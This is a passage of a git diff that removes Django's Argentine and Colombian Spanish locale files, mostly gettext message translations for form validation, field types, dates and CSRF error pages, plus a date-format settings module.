-msgstr "holandés" - -msgid "Norwegian Nynorsk" -msgstr "nynorsk" - -msgid "Ossetic" -msgstr "osetio" - -msgid "Punjabi" -msgstr "panyabí" - -msgid "Polish" -msgstr "polaco" - -msgid "Portuguese" -msgstr "portugués" - -msgid "Brazilian Portuguese" -msgstr "portugués de Brasil" - -msgid "Romanian" -msgstr "rumano" - -msgid "Russian" -msgstr "ruso" - -msgid "Slovak" -msgstr "eslovaco" - -msgid "Slovenian" -msgstr "esloveno" - -msgid "Albanian" -msgstr "albanés" - -msgid "Serbian" -msgstr "serbio" - -msgid "Serbian Latin" -msgstr "latín de Serbia" - -msgid "Swedish" -msgstr "sueco" - -msgid "Swahili" -msgstr "suajili" - -msgid "Tamil" -msgstr "tamil" - -msgid "Telugu" -msgstr "telugu" - -msgid "Tajik" -msgstr "tayiko" - -msgid "Thai" -msgstr "tailandés" - -msgid "Turkmen" -msgstr "turcomano" - -msgid "Turkish" -msgstr "turco" - -msgid "Tatar" -msgstr "tártaro" - -msgid "Udmurt" -msgstr "udmurto" - -msgid "Uyghur" -msgstr "Uigur" - -msgid "Ukrainian" -msgstr "ucraniano" - -msgid "Urdu" -msgstr "urdu" - -msgid "Uzbek" -msgstr "uzbeko" - -msgid "Vietnamese" -msgstr "vietnamita" - -msgid "Simplified Chinese" -msgstr "chino simplificado" - -msgid "Traditional Chinese" -msgstr "chino tradicional" - -msgid "Messages" -msgstr "Mensajes" - -msgid "Site Maps" -msgstr "Mapas de sitio" - -msgid "Static Files" -msgstr "Archivos estáticos" - -msgid "Syndication" -msgstr "Sindicación" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "El número de página no es un entero" - -msgid "That page number is less than 1" -msgstr "El número de página es menor a 1" - -msgid "That page contains no results" -msgstr "Esa página no contiene resultados" - -msgid "Enter a valid value." -msgstr "Introduzca un valor válido." - -msgid "Enter a valid domain name." -msgstr "Introduzca un nombre de dominio válido." - -msgid "Enter a valid URL." -msgstr "Introduzca una URL válida." - -msgid "Enter a valid integer." -msgstr "Introduzca un valor numérico entero válido." - -msgid "Enter a valid email address." -msgstr "Introduzca una dirección de email válida." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "Introduzca un “slug” válido compuesto por letras, números o guiones." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Introduzca un “slug” compuesto por letras Unicode, números, guiones bajos o " -"guiones." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Introduzca una dirección de %(protocol)s válida." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 o IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Introduzca sólo dígitos separados por comas." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Asegúrese de que este valor sea %(limit_value)s (actualmente es " -"%(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Asegúrese de que este valor sea menor o igual a %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Asegúrese de que este valor sea mayor o igual a %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "Asegúrese de que este valor sea múltiplo de %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Confirme que este valor sea un múltiplo del tamaño del paso %(limit_value)s, " -"empezando por %(offset)s, por ejemplo %(offset)s, %(valid_value1)s, " -"%(valid_value2)s, y así sucesivamente." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Asegúrese de que este valor tenga como mínimo %(limit_value)d carácter " -"(tiene %(show_value)d)." -msgstr[1] "" -"Asegúrese de que este valor tenga como mínimo %(limit_value)d caracteres " -"(tiene %(show_value)d)." -msgstr[2] "" -"Asegúrese de que este valor tenga como mínimo %(limit_value)d caracteres " -"(tiene %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Asegúrese de que este valor tenga como máximo %(limit_value)d carácter " -"(tiene %(show_value)d)." -msgstr[1] "" -"Asegúrese de que este valor tenga como máximo %(limit_value)d caracteres " -"(tiene %(show_value)d)." -msgstr[2] "" -"Asegúrese de que este valor tenga como máximo %(limit_value)d caracteres " -"(tiene %(show_value)d)." - -msgid "Enter a number." -msgstr "Introduzca un número." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Asegúrese de que no exista en total mas de %(max)s dígito." -msgstr[1] "Asegúrese de que no existan en total mas de %(max)s dígitos." -msgstr[2] "Asegúrese de que no existan en total mas de %(max)s dígitos." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Asegúrese de que no exista mas de %(max)s lugar decimal." -msgstr[1] "Asegúrese de que no existan mas de %(max)s lugares decimales." -msgstr[2] "Asegúrese de que no existan mas de %(max)s lugares decimales." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Asegúrese de que no exista mas de %(max)s dígito antes del punto decimal." -msgstr[1] "" -"Asegúrese de que no existan mas de %(max)s dígitos antes del punto decimal." -msgstr[2] "" -"Asegúrese de que no existan mas de %(max)s dígitos antes del punto decimal." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"La extensión de archivo “%(extension)s” no está permitida. Las extensiones " -"aceptadas son: “%(allowed_extensions)s”." - -msgid "Null characters are not allowed." -msgstr "No se admiten caracteres nulos." - -msgid "and" -msgstr "y" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "Ya existe un/a %(model_name)s con este/a %(field_labels)s." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "No se cumple la restricción “%(name)s”." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "El valor %(value)r no es una opción válida." - -msgid "This field cannot be null." -msgstr "Este campo no puede ser nulo." - -msgid "This field cannot be blank." -msgstr "Este campo no puede estar en blanco." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "Ya existe un/a %(model_name)s con este/a %(field_label)s." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s debe ser único/a para un %(lookup_type)s " -"%(date_field_label)s determinado." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Campo tipo: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "El valor de “%(value)s” debe ser Verdadero o Falso." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "El valor de “%(value)s” debe ser Verdadero, Falso o None." - -msgid "Boolean (Either True or False)" -msgstr "Booleano (Verdadero o Falso)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Cadena (máximo %(max_length)s)" - -msgid "String (unlimited)" -msgstr "Cadena (ilimitado)" - -msgid "Comma-separated integers" -msgstr "Enteros separados por comas" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"El valor de “%(value)s” tiene un formato de fecha inválido. Debe usar el " -"formato AAAA-MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"El valor de “%(value)s” tiene un formato de fecha correcto (AAAA-MM-DD) pero " -"representa una fecha inválida." - -msgid "Date (without time)" -msgstr "Fecha (sin hora)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"El valor de “%(value)s” tiene un formato inválido. Debe usar el formato AAAA-" -"MM-DD HH:MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"El valor de “%(value)s” tiene un formato correcto (AAAA-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ]) pero representa una fecha/hora inválida." - -msgid "Date (with time)" -msgstr "Fecha (con hora)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "El valor de “%(value)s” debe ser un número decimal." - -msgid "Decimal number" -msgstr "Número decimal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"El valor de “%(value)s” tiene un formato inválido. Debe usar el formato [DD] " -"[[HH:]MM:]ss[.uuuuuu]." - -msgid "Duration" -msgstr "Duración" - -msgid "Email address" -msgstr "Dirección de correo electrónico" - -msgid "File path" -msgstr "Ruta de archivo" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "El valor de “%(value)s” debe ser un número de coma flotante." - -msgid "Floating point number" -msgstr "Número de coma flotante" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "El valor de “%(value)s” debe ser un número entero." - -msgid "Integer" -msgstr "Entero" - -msgid "Big (8 byte) integer" -msgstr "Entero grande (8 bytes)" - -msgid "Small integer" -msgstr "Entero pequeño" - -msgid "IPv4 address" -msgstr "Dirección IPv4" - -msgid "IP address" -msgstr "Dirección IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "El valor de “%(value)s” debe ser None, Verdadero o Falso." - -msgid "Boolean (Either True, False or None)" -msgstr "Booleano (Verdadero, Falso o Nulo)" - -msgid "Positive big integer" -msgstr "Entero grande positivo" - -msgid "Positive integer" -msgstr "Entero positivo" - -msgid "Positive small integer" -msgstr "Entero pequeño positivo" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (de hasta %(max_length)s caracteres)" - -msgid "Text" -msgstr "Texto" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"El valor de “%(value)s” tiene un formato inválido. Debe usar el formato HH:" -"MM[:ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"El valor de “%(value)s” tiene un formato correcto (HH:MM[:ss[.uuuuuu]]) pero " -"representa una hora inválida." - -msgid "Time" -msgstr "Hora" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Datos binarios crudos" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” no es un UUID válido." - -msgid "Universally unique identifier" -msgstr "Identificador universalmente único" - -msgid "File" -msgstr "Archivo" - -msgid "Image" -msgstr "Imagen" - -msgid "A JSON object" -msgstr "Un objeto JSON" - -msgid "Value must be valid JSON." -msgstr "El valor debe ser JSON válido." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "" -"La instancia de %(model)s con %(field)s %(value)r no es una opción válida." - -msgid "Foreign Key (type determined by related field)" -msgstr "Clave foránea (el tipo está determinado por el campo relacionado)" - -msgid "One-to-one relationship" -msgstr "Relación uno-a-uno" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "relación %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "relaciones %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Relación muchos-a-muchos" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Este campo es obligatorio." - -msgid "Enter a whole number." -msgstr "Introduzca un número entero." - -msgid "Enter a valid date." -msgstr "Introduzca una fecha válida." - -msgid "Enter a valid time." -msgstr "Introduzca un valor de hora válido." - -msgid "Enter a valid date/time." -msgstr "Introduzca un valor de fecha/hora válido." - -msgid "Enter a valid duration." -msgstr "Introduzca una duración válida." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "La cantidad de días debe tener valores entre {min_days} y {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"No se envió un archivo. Verifique el tipo de codificación en el formulario." - -msgid "No file was submitted." -msgstr "No se envió ningún archivo." - -msgid "The submitted file is empty." -msgstr "El archivo enviado está vacío." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Asegúrese de que este nombre de archivo tenga como máximo %(max)d carácter " -"(tiene %(length)d)." -msgstr[1] "" -"Asegúrese de que este nombre de archivo tenga como máximo %(max)d caracteres " -"(tiene %(length)d)." -msgstr[2] "" -"Asegúrese de que este nombre de archivo tenga como máximo %(max)d caracteres " -"(tiene %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Por favor envíe un archivo o active el checkbox, pero no ambas cosas." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Seleccione una imagen válida. El archivo que ha seleccionado no es una " -"imagen o es un archivo de imagen corrupto." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Seleccione una opción válida. %(value)s no es una de las opciones " -"disponibles." - -msgid "Enter a list of values." -msgstr "Introduzca una lista de valores." - -msgid "Enter a complete value." -msgstr "Introduzca un valor completo." - -msgid "Enter a valid UUID." -msgstr "Introduzca un UUID válido." - -msgid "Enter a valid JSON." -msgstr "Introduzca JSON válido." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Campo oculto %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Los datos de ManagementForm faltan o han sido alterados. Campos faltantes: " -"%(field_names)s. Si el problema persiste es posible que deba reportarlo como " -"un error." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Por favor envíe un máximo de %(num)d formulario." -msgstr[1] "Por favor envíe un máximo de %(num)d formularios." -msgstr[2] "Por favor envíe un máximo de %(num)d formularios." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Por favor envíe %(num)d o mas formularios." -msgstr[1] "Por favor envíe %(num)d o mas formularios." -msgstr[2] "Por favor envíe %(num)d o mas formularios." - -msgid "Order" -msgstr "Ordenar" - -msgid "Delete" -msgstr "Eliminar" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Por favor, corrija la información duplicada en %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Por favor corrija la información duplicada en %(field)s, que debe ser única." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Por favor corrija la información duplicada en %(field_name)s que debe ser " -"única para el %(lookup)s en %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Por favor, corrija los valores duplicados detallados mas abajo." - -msgid "The inline value did not match the parent instance." -msgstr "El valor inline no coincide con el de la instancia padre." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Seleccione una opción válida. La opción seleccionada no es una de las " -"disponibles." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” no es un valor válido." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s no puede ser interpretado en la zona horaria " -"%(current_timezone)s; ya que podría ser ambiguo o podría no existir." - -msgid "Clear" -msgstr "Eliminar" - -msgid "Currently" -msgstr "Actualmente" - -msgid "Change" -msgstr "Modificar" - -msgid "Unknown" -msgstr "Desconocido" - -msgid "Yes" -msgstr "Sí" - -msgid "No" -msgstr "No" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "si,no,talvez" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d bytes" -msgstr[2] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "medianoche" - -msgid "noon" -msgstr "mediodía" - -msgid "Monday" -msgstr "lunes" - -msgid "Tuesday" -msgstr "martes" - -msgid "Wednesday" -msgstr "miércoles" - -msgid "Thursday" -msgstr "jueves" - -msgid "Friday" -msgstr "viernes" - -msgid "Saturday" -msgstr "sábado" - -msgid "Sunday" -msgstr "Domingo" - -msgid "Mon" -msgstr "Lun" - -msgid "Tue" -msgstr "Mar" - -msgid "Wed" -msgstr "Mie" - -msgid "Thu" -msgstr "Jue" - -msgid "Fri" -msgstr "Vie" - -msgid "Sat" -msgstr "Sab" - -msgid "Sun" -msgstr "Dom" - -msgid "January" -msgstr "enero" - -msgid "February" -msgstr "febrero" - -msgid "March" -msgstr "marzo" - -msgid "April" -msgstr "abril" - -msgid "May" -msgstr "mayo" - -msgid "June" -msgstr "junio" - -msgid "July" -msgstr "julio" - -msgid "August" -msgstr "agosto" - -msgid "September" -msgstr "setiembre" - -msgid "October" -msgstr "octubre" - -msgid "November" -msgstr "noviembre" - -msgid "December" -msgstr "diciembre" - -msgid "jan" -msgstr "ene" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "abr" - -msgid "may" -msgstr "may" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "ago" - -msgid "sep" -msgstr "set" - -msgid "oct" -msgstr "oct" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dic" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Enero" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Marzo" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Abril" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Mayo" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Junio" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Julio" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Ago." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Set." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Oct." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dic." - -msgctxt "alt. month" -msgid "January" -msgstr "enero" - -msgctxt "alt. month" -msgid "February" -msgstr "febrero" - -msgctxt "alt. month" -msgid "March" -msgstr "marzo" - -msgctxt "alt. month" -msgid "April" -msgstr "abril" - -msgctxt "alt. month" -msgid "May" -msgstr "mayo" - -msgctxt "alt. month" -msgid "June" -msgstr "junio" - -msgctxt "alt. month" -msgid "July" -msgstr "julio" - -msgctxt "alt. month" -msgid "August" -msgstr "agosto" - -msgctxt "alt. month" -msgid "September" -msgstr "setiembre" - -msgctxt "alt. month" -msgid "October" -msgstr "octubre" - -msgctxt "alt. month" -msgid "November" -msgstr "noviembre" - -msgctxt "alt. month" -msgid "December" -msgstr "diciembre" - -msgid "This is not a valid IPv6 address." -msgstr "Esta no es una dirección IPv6 válida." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "o" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d año" -msgstr[1] "%(num)d años" -msgstr[2] "%(num)d años" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d mes" -msgstr[1] "%(num)d meses" -msgstr[2] "%(num)d meses" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d semana" -msgstr[1] "%(num)d semanas" -msgstr[2] "%(num)d semanas" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d día" -msgstr[1] "%(num)d días" -msgstr[2] "%(num)d días" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d hora" -msgstr[1] "%(num)d horas" -msgstr[2] "%(num)d horas" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minuto" -msgstr[1] "%(num)d minutos" -msgstr[2] "%(num)d minutos" - -msgid "Forbidden" -msgstr "Prohibido" - -msgid "CSRF verification failed. Request aborted." -msgstr "Verificación CSRF fallida. Petición abortada." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Ud. está viendo este mensaje porque este sitio HTTPS tiene como " -"requerimiento que su navegador web envíe un encabezado “Referer” pero el " -"mismo no ha enviado uno. El hecho de que este encabezado sea obligatorio es " -"una medida de seguridad para comprobar que su navegador no está siendo " -"controlado por terceros." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Si ha configurado su browser para deshabilitar las cabeceras “Referer”, por " -"favor activelas al menos para este sitio, o para conexiones HTTPS o para " -"peticiones generadas desde el mismo origen." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Si está usando la etiqueta " -"o está incluyendo el encabezado “Referrer-Policy: no-referrer” por favor " -"quitelos. La protección CSRF necesita el encabezado “Referer” para realizar " -"una comprobación estricta de los referers. Si le preocupa la privacidad " -"tiene alternativas tales como usar en los enlaces a " -"sitios de terceros." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Ud. está viendo este mensaje porque este sitio tiene como requerimiento el " -"uso de una 'cookie' CSRF cuando se envíen formularios. El hecho de que esta " -"'cookie' sea obligatoria es una medida de seguridad para comprobar que su " -"browser no está siendo controlado por terceros." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Si ha configurado su browser para deshabilitar “cookies”, por favor " -"activelas al menos para este sitio o para peticiones generadas desde el " -"mismo origen." - -msgid "More information is available with DEBUG=True." -msgstr "Hay mas información disponible. Para ver la misma use DEBUG=True." - -msgid "No year specified" -msgstr "No se ha especificado el valor año" - -msgid "Date out of range" -msgstr "Fecha fuera de rango" - -msgid "No month specified" -msgstr "No se ha especificado el valor mes" - -msgid "No day specified" -msgstr "No se ha especificado el valor día" - -msgid "No week specified" -msgstr "No se ha especificado el valor semana" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "No hay %(verbose_name_plural)s disponibles" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"No hay %(verbose_name_plural)s futuros disponibles porque %(class_name)s." -"allow_future tiene el valor False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Cadena de fecha inválida “%(datestr)s”, formato “%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "No se han encontrado %(verbose_name)s que coincidan con la consulta " - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Página debe tener el valor “last” o un valor número entero." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Página inválida (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Lista vacía y “%(class_name)s.allow_empty” tiene el valor False." - -msgid "Directory indexes are not allowed here." -msgstr "" -"No está habilitada la generación de listados de directorios en esta " -"ubicación." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” no existe" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Listado de %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "La instalación ha sido exitosa. ¡Felicitaciones!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Ver las release notes de Django %(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Está viendo esta página porque el archivo de configuración contiene DEBUG=True y no ha configurado " -"ninguna URL." - -msgid "Django Documentation" -msgstr "Documentación de Django" - -msgid "Topics, references, & how-to’s" -msgstr "Tópicos, referencia & how-to’s" - -msgid "Tutorial: A Polling App" -msgstr "Tutorial: Una app de encuesta" - -msgid "Get started with Django" -msgstr "Comience a aprender Django" - -msgid "Django Community" -msgstr "Comunidad Django" - -msgid "Connect, get help, or contribute" -msgstr "Conéctese, consiga ayuda o contribuya" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_AR/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/es_AR/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_AR/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/es_AR/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 96b1b414..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/es_AR/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_AR/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/es_AR/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 29f5ead0..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/es_AR/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_AR/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/es_AR/formats.py deleted file mode 100644 index 601b4584..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/es_AR/formats.py +++ /dev/null @@ -1,30 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = r"j N Y" -TIME_FORMAT = r"H:i" -DATETIME_FORMAT = r"j N Y H:i" -YEAR_MONTH_FORMAT = r"F Y" -MONTH_DAY_FORMAT = r"j \d\e F" -SHORT_DATE_FORMAT = r"d/m/Y" -SHORT_DATETIME_FORMAT = r"d/m/Y H:i" -FIRST_DAY_OF_WEEK = 0 # 0: Sunday, 1: Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d/%m/%Y", # '31/12/2009' - "%d/%m/%y", # '31/12/09' -] -DATETIME_INPUT_FORMATS = [ - "%d/%m/%Y %H:%M:%S", - "%d/%m/%Y %H:%M:%S.%f", - "%d/%m/%Y %H:%M", - "%d/%m/%y %H:%M:%S", - "%d/%m/%y %H:%M:%S.%f", - "%d/%m/%y %H:%M", -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_CO/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/es_CO/LC_MESSAGES/django.mo deleted file mode 100644 index 678fdc71..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/es_CO/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_CO/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/es_CO/LC_MESSAGES/django.po deleted file mode 100644 index 9f839fea..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/es_CO/LC_MESSAGES/django.po +++ /dev/null @@ -1,1258 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Carlos Muñoz , 2015 -# Claude Paroz , 2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2020-05-19 20:23+0200\n" -"PO-Revision-Date: 2020-07-14 